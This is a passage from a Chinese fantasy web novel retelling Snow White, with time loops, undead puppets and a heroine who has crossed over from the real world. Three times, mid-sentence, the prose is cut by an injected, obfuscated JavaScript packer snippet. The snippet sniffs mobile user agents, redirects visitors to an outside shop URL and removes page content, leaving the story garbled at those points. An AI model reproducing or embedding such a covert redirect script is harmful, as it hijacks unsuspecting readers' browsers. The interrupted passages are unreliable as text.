不过，不需要她佩戴。 夫妻对戒在婚礼仪式中接受了祝福和誓言，使他们之间有着难以割断的魔法学联系。 虽然雪圣女失踪，布莱克又变成了兔子，海因里希本人也不擅长寻人相关的术式，但他知道怎么找到卡特琳娜。 “伊桑腹中一定是你的孩子。”海因里希对这一点非常确信，“他必须为此付出代价，你也不得不站出来负责……” “再找到你，就不会让你跑了。” * 魔镜再次附着在卡特琳娜的项链坠中，项链坠盖上的小像已经消失，她的形象不再是年轻时候的卡特琳娜——可能与当时幽灵将这个形象的灵体转移出来有关。 卡特琳娜看着与自己在以前世界里一模一样的魔镜陷入了沉思。 她问：“你为什么会是长这个样子？” “我尊贵的主人，你是在问我的脸吗？”魔镜疑惑地反问。 “是的，你的脸不太像……希博人或者是狄埃人，与这个世界的人种长相不是一个画风。”卡特琳娜并没有将自己内心真正的想法说出来，她戴着项链坠离开了秘密的魔法屋。 白钰是东亚女生的长相，而这个童话世界里的人更偏欧美风格。 魔镜回答说：“我尊贵的主人，我的形象来自于您的恩赐，虽然我无法说出当时的情形，但这是您最初的形象。” 这个回答令卡特琳娜完全怔住。 她记得，之前米洛告诉她的是，在十年前她们签订了契约，之后米洛陷入了虚无状态。直到她穿越到这个世界后，米洛才又出现…… 如果王后真的是她在镜中的投射，那王后是卡特琳娜得投射，还是她白钰的投射？幽灵卡特琳娜的镜中人还会不会存在？ 她顿了两秒，问：“从签订契约开始，你就一直与我保持联系吗？” 在镜外，签订契约后的十年里，米洛并没有与之前的卡特琳娜取得联系，而是在她出现之后…… 魔镜继续说：“我尊贵的主人，我们一直保持着紧密的联系，即使您在镜子的另一面。” 这时候卡特琳娜已经藏进了王宫花园的角落，不知道还需要多久王后才会发现她的魔镜被盗走。 她听到魔镜的回答，心中震撼。 “……什，什么意思？” 难道，魔镜知道她不是镜界中的卡特琳娜，知道她是从镜子的另一面进来的？ 魔镜所说的在镜子的另一面，又是哪一面？ 52. 白雪公主（5） 卡特琳娜的心脏像是被人攒住，收缩着，跳动着，让她呼吸困难、冷汗直流。其实从之前幽灵说出“放逐之境”时，她就有所感觉，却刻意选择逃避，不愿意面对。 也许，也许…… 她将首铠取下，猛烈地甩头，告诫自己不要去想。 这怎么可能呢？ 她是二十一世纪的蓝星人，虽然她的童年悲惨，成长经历不顺，但她遇到过对她来说很重要的人。她答应过，所以她一定会履行承诺…… 她还有没做完的事，她一定要回到自己的世界里。 卡特琳娜下定了决心，她不可能轻易放弃“白钰”这个名字，她不能就这样认命。 随着念头的转动，她手腕上的“圣泪”似乎开始发烫。 她深呼吸了好几口气，将手掌覆在“圣泪”之上，使它的温度恢复了正常。她平静了下来，对魔镜说：“我给你取个名字吧。” “好的，我尊贵的主人。” “就叫米洛怎么样？会很适合你。”卡特琳娜打开项链坠，看着小镜子里的人，“你现在的脸也很适合你。每当我看到你的时候，我就不会忘记我自己是谁。” “很高兴能为您效劳，我尊贵的主人，这也许就是当初您赐予我这个形象的原因吧。” “不用叫我主人。”她顿了顿，说，“叫我卡特琳娜。” “好的，我的卡特琳娜。” * 冰雪的信徒对极寒环境有着天然的抵抗能力。 在雪暴停歇的片刻，海因里希带领精锐士兵达到地面，开始横穿王城。 大雪掩埋了整个城市，几乎所有房屋都藏在了厚重的积雪之下。洛尔兰只有几栋高大的建筑能够露出轮廓，集市的钟楼，神教广场的教堂，以及洛尔兰王宫。 当时伊桑*莱斯利联合骑士团安德鲁谋反，清除城内的冰雪信徒，冰雪长老和部分海因里希的亲信兵士往堡垒潜逃。几乎全部冰雪信徒都被安置在堡垒之中，但王国内的大部分普通居民仍在地面。 海因里希当然也怜惜国民的性命，却能掂量出轻重。他不惜代价，即使破坏洛尔兰的自然生态也要发动雪暴危害，是因为他不可能眼睁睁看着洛尔兰成为幽冥的国度。 死亡神教是来自东方沙漠的神秘教派，信仰死神。在创世纪500年左右，沙漠陷入了永久的黑暗，归于幽冥，然后与地面的国家再没有联系。 伊桑*沙穆明明是全知神教的忠诚信徒，却突然皈依死亡神教，改姓莱斯利号称主教，仍效忠拜厄，其中绝对潜藏着巨大的秘密。 海因里希一直都在拜厄女王凯特罗琳和全知神教教皇肯*沙穆的权力斗争中夹缝中生存，他太知道这意味着什么。 凯特罗琳眼看着无法掌控全知神教，也不甘心让冰雪神教从中获利，竟然拿洛尔兰开刀，搞出一个已经归于黑暗的小众教派，企图触及死亡的权柄。 他怎么可能心甘情愿做这种牺牲品？当年不会……如今也不会…… 海因里希带领士兵在雪地中悄无声息地前行。 “啊！” 一声尖叫。 海因里希回头，看到一只青白手从雪里伸出，握住了其中一个士兵的脚踝，将他往雪堆深出拖去。 旁边的士兵立即抓住他，却完全不敌青白手的力量，接连倒地。 “冰冻！” 弓箭手在海因里希的示意下将剑射向青白手，将它暂时冰冻住。被拖拽的士兵这才站起来，从雪堆里将青白手往外拖。 “啊！” 又是一声尖叫。 拖出来的是一个冻死的女人，尸体的面孔苍白如纸，眼睛睁大，定格在最后一刻的恐惧与绝望中。眉毛和睫毛上覆着一层薄霜，嘴唇青紫，微微张开，似乎是在最后的瞬间拼命地想要吸入一口空气，却徒劳无功。 “是劳拉！”有士兵认识她。 士兵的声音越来越小：“前些天还在她那里买过酒……没想到她……” 是城中的居民，劳拉显然是在雪暴中被冻死了。 这是无法避免的情况。 海因里希咬牙，牺牲部分人就能保全国家，他不会后悔。 “敌袭！” 本已是冻死尸体的劳拉竟突然直立起身，扑向了旁边的士兵。 与此同时，雪堆中冲出与劳拉一样的尸体来。尸体拖拽着活人，试图将他们都拖入厚厚的积雪中。 由于这些人都是他们认识的朋友、街坊，士兵们想要反抗，却下不了狠手，这群冰雪精锐竟然在对战手无寸铁的普通民众时落了下风。 “只是无灵智的尸体而已！他们的灵魂早已经回归冰雪的怀抱！”海因里希高喊了一声。 然后他将早已准备好的火弹塞入最近的那具尸体的嘴巴。 “燃烧！” 冰雪也无法阻止的火焰燃烧了起来，尸体迅速焦黑，最终碳化消失。 士兵们纷纷效仿国王的方法，将周围扑过来的尸体火化。 一具具人形在雪地中燃烧，士兵们侧立行礼：“冰雪庇佑。” 本来已经预料到这种情况，但海因里希还是不由自主心下一沉。 看来伊桑*莱斯利并不是说说而已，他确实得到了死神的眷顾，掌握了诡异的幽冥魔法。 这火弹是冰雪长老提前特制，用了火焰鱼的鱼油，能够将邪灵和活尸彻底烧尽。 是的。 他欺骗了他的士兵，这些尸体身上还残存着灵魂，所以才会被幽冥魔法所掌控。如果不清除掉灵智，他们会永远成为死亡之主的囚徒。 但也比活着更好。 海因里希心里发了狠，活着的人迟早会背叛。他听说过幽冥国度的诡异和对死神的忠诚，他承受不起他的国民背弃他而选择新主的情况。 不如都死了好，只留下坚定站在他身边的人。 海因里希发现天色又暗下来，第二波雪暴不久将至，他下令道：“迅速向目标前行！” * “范维西三世带兵攻过来了。”格里高叶将最新的情报告诉伊桑*莱斯利。 伊桑正在摆弄王座上的尸体，将王冠戴在了玛利亚*范维西的头上。 伊桑的肚子大得惊人，他已经不能穿正常的衣服，只能穿着浴袍将肚子露出。青筋明显，肌肉和皮肤都被撑成了薄薄一片，仿佛马上就要爆裂开来。 但如此沉重的圆球并不影响他的行动，他伸手抚过玛利亚的脸，惊叹道：“公主竟然是男孩，范维西一家瞒得我和卡特琳娜好苦啊……不过现在他死了，一切都不会是问题……” 由于温度极低，尸体并没有腐烂的情况，玛利亚像是睡着了一样，闭着眼睛。他幼小的身体穿着国王加冕的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13632598|143623||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 服装坐在王座上，戴着王冠，手边是权杖。但他太过于孱弱秀美，看起来并不像是国王，反而像是扮演国王的小演员。 “不知道范维西三世看到亲生子夺了自己的王位，会是什么样的表情……哈哈哈，真高兴，马上就有好戏上演了……” 伊桑嘴里念着幽冥的咒语，黑色的气息在他与玛利亚之间弥散。玛利亚的尸体突然睁开了眼，原本深蓝色的虹膜变得漆黑无比，白皙的皮肤也变得暗沉幽深。 他成了被伊桑完全掌控的僵尸，他的灵魂已不属于自己。 “范维西三世不值得惧怕。”格里高叶一脸慈祥，他伸手扶住伊桑，担忧着说，“反而是那个伪装成图书室管理员的女孩，她是道格斯家族的女儿。若是道格斯家族介入，恐怕……” “无需多虑。”伊桑轻笑，“我故意让安德鲁带她和卡尔亲王到肯古丽湖古堡躲避雪暴。卡尔那个蠢货，若不是留着他还有大用，我早就也将他制成傀儡……爱情会蒙蔽这对小情儿的双眼，让他们除了对方外，什么都看不到……” 现在整个洛尔兰王宫，已经没剩下几个活人。 伊桑满意地看着他的造物，哈哈大笑起来：“冰鸟已经复活，并转生为死亡之蛇。头衔尾，尾生头，循环往复，永无止境。他们范维西家族，将彻底消失在历史中！” * “我总有种不好的预感。” 卡特琳娜彻夜睡不着。 为了掩人耳目，她找了处空屋，堆了干草睡在上面。但一想起她刚到镜界时，王后给了她一把魔法匕首的事情，她的脑子便越发糊涂起来。 按照米洛的分析，王后卡特琳娜进行了召唤仪式，召唤出来了一个幽灵骑士，然后理所当然将刺杀的匕首交出来。 “既然你已经知道我是从镜子另一面来的人，你为什么选择站在我这一边，而不是她那边？”卡特琳娜问米洛。 “我的卡特琳娜，这是很显而易见的。”米洛回答说，“我想要的是尽早回到我的故乡，但我的主人，王后卡特琳娜为了延长契约期限不惜暂停时间。由于她是我的主人，我没有办法反对她的做法，但我知道这是她所做的事违背了我的意愿。” 卡特琳娜很高兴米洛愿意表达自己的意愿。 她点头：“是这个道理。” “而你，我的卡特琳娜，你与她是同一个人。契约在你身上同样起效，你愿意帮助我回故乡，我当然就更愿意为你效劳。” 同一个人。 对于这一点卡特琳娜并不能苟同，她们不可能是同一个人。但显然灵魂契约无法区分镜里镜外，对任一个体都能生效。 其实到现在这一步，卡特琳娜的目的已经达成，她找回了她的米洛。她需要做的下一步应该是回到镜子外面，但问题就来了。 “你是她召唤而来的幽灵骑士，你不完成她的任务，你就回不去镜子另一面的世界。”米洛解释道。 难道她真的必须要杀了白雪公主才行吗？ 她记得在原本的童话故事里，杀手放过了白雪公主。照这个剧情走下去，她根本不能完成任务，那她该怎么回去？ 得演一场戏。 卡特琳娜脑袋都要炸了，她知道方向，却不知道该怎么做。 得演一场戏，演一场骗过王后，骗过白雪，骗过所有人，甚至是骗过魔法的戏。 53. 白雪公主（6） 第二天清早，卡特琳娜达到与玛利亚约定的地点。玛利亚穿着破布裙子，背着果筐。 他们一路走向森林，去往僻静隐秘的角落。 卡特琳娜不明白王后要杀死公主的原因，难道真的是因为她恨白雪夺走了她第一美人的称号？ 玛利亚沿途会在灌木丛中采集浆果，手法非常熟练，显然时常参与类似的劳动。 卡特琳娜早酝酿了很久，叫住他：“公主殿下。” 玛利亚停下脚步，将手从灌木收回，转过头来看。在他眼里，这个穿戴着黑色铠甲的骑士不仅奇怪，还散发着极其危险的气息，但也仅仅是像之前的那些骑士一样。 所以他并不害怕。 “你要动手了吗？”他问。 卡特琳娜握住王后给她的匕首，将刀刃显露在玛利亚的面前。 他似乎知道骑士会对他做什么，有着充足的心理准备，眼看着刀刃反射着光芒，表情依然平静。 卡特琳娜观察着眼前的孩子，暗自惊讶于他的无所畏惧。 “你早知道我要杀你？难道你不觉得害怕？”卡特琳娜疑惑。 “这种事情不是发生过很多次了吗？我为什么要感到害怕？”玛利亚淡淡地说着，反而向前走了一步，距离卡特琳娜更近些。 “很多次？” 卡特琳娜立即感到非常不妙。 她看着越来越近的玛利亚，还来不及思考，便被手中的匕首影响。匕首像是有了自己的生命力一般，竟然带动着她的手向玛利亚刺过去。 卡特琳娜只能用左手握住右手的手腕，试图阻止，但她抵抗不了匕首自发的力量。她在挣扎中扑倒了玛利亚，匕首尖端刺入了他胸口。布料立即被染作鲜红，他的血液浸透出来。 但被刺伤的疼痛仅仅是令玛利亚皱眉，却没有使他躲避或抵抗。 他像是知道自己注定命运的死刑犯，坦然接受发生的一切。 卡特琳娜急中生智，将手腕上的“圣泪”化作一面铁皮横在匕首与玛利亚的胸口间。但没想到这魔法匕首威力无穷，竟然连铁皮也能够轻易穿透。仅仅是耽误了一两秒，刀刃已经穿透玛利亚的皮肉，往深处跳动的心脏扎去。 怎么会这样？！ 卡特琳娜根本阻止不了，整只匕首就完全穿透了玛利亚的胸口。她几乎有刺穿心脏的手感，眼睁睁看着身下的少年变得无比苍白，然后咽气。 “不是吧？”卡特琳娜放开了匕首，去探玛利亚的鼻息，“他……他好像是真的死了？” 卡特琳娜见那把匕首的魔力似乎消退，将其拔出。竟然没有鲜血喷涌，玛利亚的尸体苍白得近乎透明。 她意识到匕首的魔法非同凡响，这才拿在手里仔细观察。但仅凭肉眼判断，这只是把普通的匕首。无论是刀柄还是刀刃，都平平无奇。 卡特琳娜紧急召唤米洛，问道：“米洛，你知道这把匕首上面有什么特殊吗？” 米洛回答说：“我的卡特琳娜，这把匕首上残留着很隆重的血腥，没有沾染任何灵魂，甚至难以探测到魔法的痕迹，即使是我，也不知道它作为匕首之外的其他用途。” “竟然死了……”卡特琳娜看着躺在地上的玛利亚的尸体，能感觉到他的灵魂还没有完全消散。 之前她在布莱克的肉身被异化前帮助他的灵体变成了兔子，却没有办法将已经在脱离尸体的灵魂…… 不，还有办法。 卡特琳娜灵机一动，她立即将身上的幽灵铠甲脱下，与玛利亚调换了衣服。她不太确定，询问米洛有关幽灵魔法学派的术式。 “灵魂禁闭？我的卡特琳娜，你真是天才！”米洛惊叹道。 她依据米洛的指导，就地取材，进行了简易的灵魂禁闭术，依托玛利亚刚死不久的尸体，将他的灵肉与幽灵铠甲暂时绑定在一起。 在咒语念下最后一个字后，穿着幽灵铠甲的玛利亚突然坐立了起来。 他略显呆愣地看着眼前的人，低下头看了看自己的身体，疑惑地嘀咕：“我没有死吗？” “你当然已经死了，但又不算完全死了。”卡特琳娜按住他的首铠，让他看着自己的眼睛，“玛利亚，回答我的问题，你所说的很多次是什么意思？我要杀你这件事已经发生过吗？” “已经发生过很多次了，我记得。”玛利亚呆呆地回答说。 “到底是怎么回事？！”卡特琳娜摇晃他的肩膀。 玛利亚通过幽灵铠甲眼睛处的窟窿看向眼前这个穿着他的衣服的银发银眼的女人，她长得与他的继母几乎一模一样。 “这件事也偶尔发生过。” 卡特琳娜被他搞得更加迷糊了。 “我死了之后没有回去，反而是与你交换身份。”玛利亚说着从她手里接过了那把匕首，“现在开始，你才是白雪公主了，对吧？” 卡特琳娜一时间愣住。 “你走吧，我不会杀你。我会在林中猎杀一只野鹿，取下它的肝脏和肺脏带去给王后，让她以为你已经死了。” 玛利亚说着站起来，转身要离开。 “不是……”卡特琳娜赶紧拉住他的手，“你到底在说什么？” 玛利亚顿了顿，似有些无奈，说：“我再给你解释多少遍都没有用，因为每次重新开始后你都会忘记。你现在就逃跑吧，跑到森林里去，跑到没人发现的地方去。这一次，跑得更久一点。” 这瞬间，卡特琳娜才知道，玛利亚眼里的呆滞和麻木并不是在劳动中被磨灭了青春活力，而是他经历了被她忘记了太多时间。 * 海因里希闯进了洛尔兰王宫，他的精锐士兵已所剩无几，不是在雪暴中被掩埋，就是被路上的僵尸拖入深处。 他知道这样的牺牲难以避免，所以往前走的每一步都没有回头。 他进入王宫之后，拔剑刺向熟知的王宫守卫的尸体，将这些被幽冥力量奴役的傀儡用冰雪冻结后粉碎。 他走向了王座厅，他知道有人在那里等着。 “海因里希*内华达*范维西，今天，就是你的死期。” 他推开了王座厅的大门，听到了伊桑*莱斯利以极其厚重的声音宣判他的命运。他并没有见到那个邪恶的神甫，而是看到了坐在王座上的他的女儿——玛利亚*范维西。 不，实际上他的名字应该是马林*范维西，他不是公主，而是王子。 “你，竟然！！！” 海因里希震怒，他没想到伊桑竟然杀害了玛利亚，将尸体制成了傀儡。 随着他的怒吼，王座厅的地面刺出了无数冰锥，本来就已经寒冷彻骨的空气瞬间到了零下。 海因里希能感觉到这里还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13632599|143623||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有人的呼吸，他抓住了那仅有的热量，以瞬移的速度冲过去，并将剑刃划过—— 傀儡玛利亚也以惊人的速度移动到海因里希面前，用手里的冰雪权杖，生生挡下了剑势。 “抓住你了。”海因里希根本不管眼前的傀儡。 他眼里只有后面隐藏在黑暗中的修士——格里高叶，他仍身着全知神教的制服，一脸庄严肃穆，手中拿着十字架，似乎在祈祷。 “冰链！” 随着他的咒语，空气中凝结出冰链向格里高叶缠去。但他手里的十字架似乎能够将他周围维持在某种恒定的温度，冰链一接近，便化作了水。 “为什么是你？伊桑*莱斯利呢？那个贱人在哪里？” 海因里希见魔法对他无用，便再次飞身攻击，但傀儡玛利亚一直拦在他们之间。 海因里希不忍损坏马林的尸体，并没有尽全力，被暂时阻碍了视线和动作。 “冰柱！” 海因里希凝结无数牢固粗壮的冰柱将马林困在其中，终于贴近了格里高叶的身。 代理神父不擅战斗，轻易被剑刃梗住脖颈。 “告诉我，那个贱人在哪里？！”海因里希几近疯狂，怒吼道。 伊桑*莱斯利摧毁了他的自卫军，占领了他的国家，拐走了他的妻子，还杀害了他的儿子！他如何能不恨？他恨不得将其千刀万剐，碎尸万段！即使冰雪没有审判，他也不该放过那个贱人！ “格里高叶，没想到你竟然与如此卑劣的叛徒为伍……难道你忘了王室的恩情了吗？要不是安娜救你，你又怎么会活到今天！马林……是伊桑*莱斯利，还是你杀了马林？如果是你，那你简直禽兽不如！” 海因里希再也无法控制自己的怒火，他手上用力，要将格里高叶的脖子抹了。 但这时候傀儡马林，击倒了冰柱，再次纠缠过来，阻拦了海因里希。 格里高叶脖子上留下一条血痕，但他依旧面目慈祥和蔼，说：“他早就该死了。由于夜仙女的预言，你竟然让自己的亲生儿子男扮女装活在这世上，受尽无数的苦楚。你才是最对不起安娜的人，你让她的儿子成为洛尔兰的笑话！ “你可知玛利亚每周都会来找我，他问他自己是不是有什么罪？为什么母亲离开他，父亲不爱他，继母伤害他？他问我，为什么他还要活在这世上？为什么他不能早一点去死？ “一切都是你的错……海因里希，是你的愚昧无知，是你的冷漠纵容，是你，害死了这个纯洁无瑕的孩子。现在，他会带着你的血脉消亡，为北大陆真正的王者让路……” 格里高叶说着，整个人漂浮到半空中，他嘴中念念有词，手里的十字架闪烁。 “冰鸟重生！苍蛇降世！” 王座厅的穹顶破裂，一束刺目的光芒照射下来，落在马林的身上。他蜷缩起来，似乎在酝酿什么变化—— 但，待光芒褪去，什么都没有发生。 “怎，怎么可能？”落在地面的格里高叶终于变了脸色。 海因里希也终于知道他要做什么，他冷着脸，道：“你的计划怕是一开始就错了。玛利亚，不，马林，他根本不是范维西家族的血脉。我与安娜，没有举行婚礼，也没有同居一室。 “我至今没有后人，也不打算有。夜仙女的预言，不过是哗众取宠的骗局！” 54. 白雪公主（7） 格里高叶的魔法无效，不仅他本人遭受严重的反噬，嘴角流出黑色的血液，也让整个王座厅变得更加寒冷阴暗，宛如冰封地狱。 马林*范维西的身体已经没有了生命活力，但灵魂却没有完全消散，还残存着一丝灵智。 这似乎是他第一次得知自己并非范维西家族血脉的身世，让他已经成为尸体的肉身变得更加苍白透明。本应该承载苍蛇力量的身躯变得又薄又轻，像是一捏就会碎裂的纸片，他在寒风中飘摇着往地面掉落。 虽然他并不是海因里希的亲生子，但海因里希对这个孩子也有了一定的感情。 他飞身过去接住了掉落下来的马林，感受到最后一丝的灵智从这具尸体上抽离。 他将马林的尸体平放在冻结的地面，用手将马林的眼皮抚下。闭上眼睛后，马林并不像是死了，而是睡了过去。 “怎么……怎么可能？”遭受反噬的格里高叶也跌落在地，他站立不稳，半跪在王座旁边。 他刚刚施加的魔法是与伊桑*莱斯利的生产过程联动的特殊仪式，将冰鸟和苍蛇这对神兽的力量转生到流着范维西家族血脉的第四代孩子身上。 神兽之力过于猛烈，寻常人类不可能承受，所以他与伊桑*莱斯利才设计了一个局。将第四代男性成员马林*范维西制作成亡者傀儡，保留他的部分灵魂和智慧，作为承载异变的容器。而伊桑*莱斯利腹中的孩子，则能够避免异变，仅仅是承接来源于神兽的力量。 这是他们不得不做出的选择。 那个孩子不仅是范维西家族的继承人，还有古奥斯家族的血脉，是比马林*范维西更可能成为统御北大陆的王者候选人。 但胎儿在伊桑*莱斯利腹中已超过正常妊娠时间，却迟迟没能发育。现在又到了不得不做出改变的时候，他们只有借助幽冥和冰雪神兽的作用，希望将这个孩子顺利诞下。 然而，事情的发展出乎了格里高叶和伊桑*莱斯利的意料。 作为承载异变容器的马林*范维西竟然不是海因里希的亲生子，他的身体里流淌着与范维西家族毫不相关的血液。 这就意味着，冰鸟和苍蛇的异变与力量将在那未诞生的孩子身上同时出现。 即使是孕育未来王者的“母”体，伊桑*莱斯利也只是个接受了子宫移植手术的普通人类，他根本没有办法承受如此沉重的神力。 若是他经受不住，在诞下孩子之前就死去，那他们所做的这一切都将白费。 想到这里，格里高叶顾不上自己遭受的严重反噬，也不顾不上冲过来的海因里希。 他参与这个计划的初衷，是为了伟大至高无上的信仰，他心目中无所不知的天神。 不久前，肯*沙穆带着神谕来到他的梦中，告诉了他所有的计划。 即使是牺牲全国的民众，即使是将整个国家覆灭，也必须要让那个孩子降生下来。那孩子不仅是北大陆未来的王者，也是全世界的希望，是创世双城再现人间的契机，更是他格里高叶进入主教区的第一步。 那是他的梦想，从一名普普通通的修士成为神父，他不甘心于此，他还要成为主教、助理主教、教区主教、教区大主教、总主教、枢机主教，一步步离他的天神更近…… 他避开了海因里希的剑，再次使用了魔法。 冰冻的藤蔓从地里崩出，往海因里希身上甩去，而格里高叶则是跳向藤蔓制造的洞口，想要离开了王座厅。 但海因里希速度比他更快，瞬间将冰冻藤蔓捣碎，一把抓住了格里高叶的手，怒喝：“你要去哪里？！那个贱人呢？” 海因里希抓得极紧，格里高叶心里一横，竟然直接断臂，仍往洞中跳去。然后层层冰冻蔓藤堵住了洞口，令海因里希无法及时追踪。 海因里希抓着手里的断臂，差点将牙齿咬碎。 他气得用冰锥将断臂钉在地上，眼睛里满满寒意。他瞥了一眼躺在地上的马林的尸体，不甘心地握住拳头。 这孩子才十四岁，却长得像更小些，一直以来受尽了苦。 他没有太多愧疚，毕竟作为国王，他必须先考虑大局。他不在乎安娜是与谁生的孩子，但只要是安娜的孩子，那就必须是他的孩子。 可是卡特琳娜那个女人…… 她竟然也敢这么对他！ 海因里希将马林头上的王冠摘下，这是洛尔兰国王在特殊场合才会戴上的配饰，是权力的象征。 他将王冠放到王座上，并使用魔法在王座的前面形成了一面冰镜。 他的王后卡特琳娜是镜子魔法学派的巫师，这是他最近才知道的事情，她瞒了他太久。 他亲眼目睹过她走向王座的过程。 “既然你这么想要，为何不亲自来取？” 王座厅还残存着之前格里高叶召唤冰鸟和苍蛇的魔法力量，与海因里希的血脉发生了一定程度的共鸣。 他知道凭借自己根本无法找到伊桑*莱斯利，现在最关键的事情是先与消失的卡特琳娜取得联系。 他并不会镜子魔法，但他作为魔法学上卡特琳娜的唯一配偶，他相信他能够通过这样的方法找到她。 海因里希知道时间紧迫，他不能再犹豫，即使希望渺茫，他也必须试一试。 他义无反顾地走入了冰镜之中。 无名指上的结婚戒指闪烁着光芒，正如他们婚礼当天。 * 到底是怎么回事？ 通过项链坠的小镜子很难看清自己的全貌，所以卡特琳娜在森林里找到了一处溪流。她通过水面看到了自己现在的样子—— 银色的短发，满脸污脏，破布样的裙子。 玛利亚的话语还在她耳边回旋，她知道这一切很有可能与她预想的并不一样。难道，她真的与玛利亚交换了身份，成为了白雪公主？ 她并非第一次经历类似的怪事，这些剧情的脉络与她在原来世界里的童话故事有着密切的关联。小红帽、青蛙王子…… 如今是从她穿越到这里之后便一直经历着的《白雪公主》的故事。 令她难以捉摸的是，她既是恶毒王后，又是被召唤的杀手，现在甚至成为了白雪公主这个重要的主角。 最为离谱的还有，魔镜的镜中形象是她原本世界的模样。这相当于她一人分饰多角，是个角色都是她来扮演。 简直离谱！ 这一切是怎么串联在一起的，又会怎么样往后发展？ “依照玛利亚的话，我现在在经历循环，这已经不知道是第几次了。”她用溪水将自己的脸清洗干净，越看这张脸，越有种迷失的感觉。 在第一次幽灵设计的梦境中，她循环经历了小红帽与大灰狼的故事，最后好不容易将幽灵和恶狼反杀。那一次她一直保留着记忆，所以能够掌握很多线索。 但这一次，她显然失去了之前的记忆。 王后将她作为幽灵骑士召唤来的那一刻，是她记忆的起点。 她不再看水面自己的模样，而是站起来转身往前走，并对米洛问道：“玛利亚身上有着某种特殊，导致他没有失去记忆。那你呢米洛？你难道什么都不记得了？” “我的卡特琳娜，我不需要记得，镜子会为我记录，我只需要读取便能知道发生过的历史。但是，如果我也处于时间重置的循环之中，在重置的那一刻发生过的历史便会被抹除，我便无法对其进行读取。” 简而言之，米洛对她身处的循环没有记忆。 这令卡特琳娜稍有失望，但幸好她对《白雪公主》的故事非常熟悉，相当于是拥有了剧透的金手指。 即使这个故事被魔改，与原本有很大的差别，但她相信自己能发现重要的线索，将两者联系起来，从而找到破局的关键。 “只能先继续往森林里走了。”卡特琳娜预设着可能发生的情节，“我应该会发现一间木屋，里面住着七个小矮人。” 七个小矮人们会非常同情她，将她留在他们的木屋。但王后会通过魔镜发现白雪公主没有死，从而伪装成路过的老婆婆相继用鞋带、梳子和苹果杀她。 小矮人们回来后发现白雪公主死了，会把她放进玻璃棺材里，安放在山坡上。经过的王子发现了玻璃棺材里的白雪公主，并吻醒了她。然后公主带着夫婿风光回国，举行盛大的婚礼，而恶毒继母则是穿着被诅咒的铁鞋跳舞力竭而亡。 卡特琳娜想到这里，不禁笑起来。 很好，她现在偷走了王后的魔镜，王后又要怎么知道她的踪迹呢？ 即使这些事情发生了千遍万遍，但她现在还没有死，就说明还有回转的余地。 一定有可以打破循环的办法。 卡特琳娜再次掀开了项链坠的盖子，看到了米洛的脸，在心里提醒自己穿越者的身份。 一定有回去的办法，她会回家的，她还有很多没有做完的事情。 果然，天色暗下来，走累了之后，她在森林里见到了一座小木屋。 与她想象中的童话故事里的七个小矮人的木屋一模一样。小木屋里排着七张小小的床，还有一张桌子，桌子上有七块小面包和七个小杯子。 她模仿着听说过的童话，将床并在一起，自己躺了上去。 睡醒后应该就能够遇到七个小矮人了吧？故事会往下发展，还是会出现新的变化？ 她不知道，但走了一整天确实足够劳累，她真的睡了过去。 她做了一个梦，梦到了自己在原来世界里的生活。 但她不太清楚，她究竟是谁？ * “你叫什么名字？” 她抬起头来看着眼前这个开朗漂亮的小女孩，这是她来到福利院后第一个和她说话的小孩。 她们同样都是孤儿，但却有着完全不一样的眼神。 “我？我没有名字。”她回答说。 女孩拉住她的手，有些同情地说着，“你会有名字的！不是每个人出生就有名字，很多人的名字也是院长后来取的。不过我的名字是我爸妈给我取的，我叫白钰，白色的白，金玉的钰，今年五岁了！” 白钰…… 她抬头看向她，夕阳的光刚好穿过窗户的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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老夫妇是当地有名的企业家，有三个儿子，大儿子的妻子在老家养胎生下了一个女孩，害怕被夫家嫌弃，将女儿寄养在亲戚家，骗夫家说孩子没有保住。亲戚嫌养孩子麻烦，直接将孩子扔到了福利院。 那个女孩就是白钰。直到最近，这对夫妇再没有能怀上孩子，检查发现丈夫丧失了生育能力，妻子才将当初生下女孩的事情坦白。 于是，他们到福利院找回当初被放弃的女儿。可惜遭遇了意外，火灾将这好不容易重逢的一家三口淹没。 从那之后，她便是白钰了。 但她似乎有着带去不幸的能力。 在老夫妇的庇护下过了几年愉快的童年生活后，他们准备送十二岁的她出国读中学。在出发前，老夫妇带着她坐游轮出海看星空和海鸟。 意外再次发生，夜里天气突变，暴风雨袭来，船撞上了礁石翻倒，仅有她一人被海警救起，游轮连同其他人的尸体都寻不到。 白钰再一次失去了对她来说重要的人，她不愿意回去那个没有爷爷奶奶的家。二叔和三叔本来就不和，如今爷爷奶奶意外去世，他们更是会为家产挣得头破血流。 甚至，这次的意外……白钰不敢想，也不愿意去想。 海警叔叔的妻子和女儿也刚好在那艘游轮上，但已经找不到她们的踪迹。白钰告诉叔叔她是他女儿的好朋友，如今又失去了唯一的两个亲人，只能再次去孤儿院。 叔叔动了恻隐之心，收养了她，让她留在了渔村生活。但他也没有放弃寻找妻女，一直在追查游轮事故的真相。 白钰在渔村生活读书，考上了大学，毕业后搬到了城市里，本来以为生活会平淡地继续下去。 她定期给叔叔寄生活费，感谢他的养育之恩。 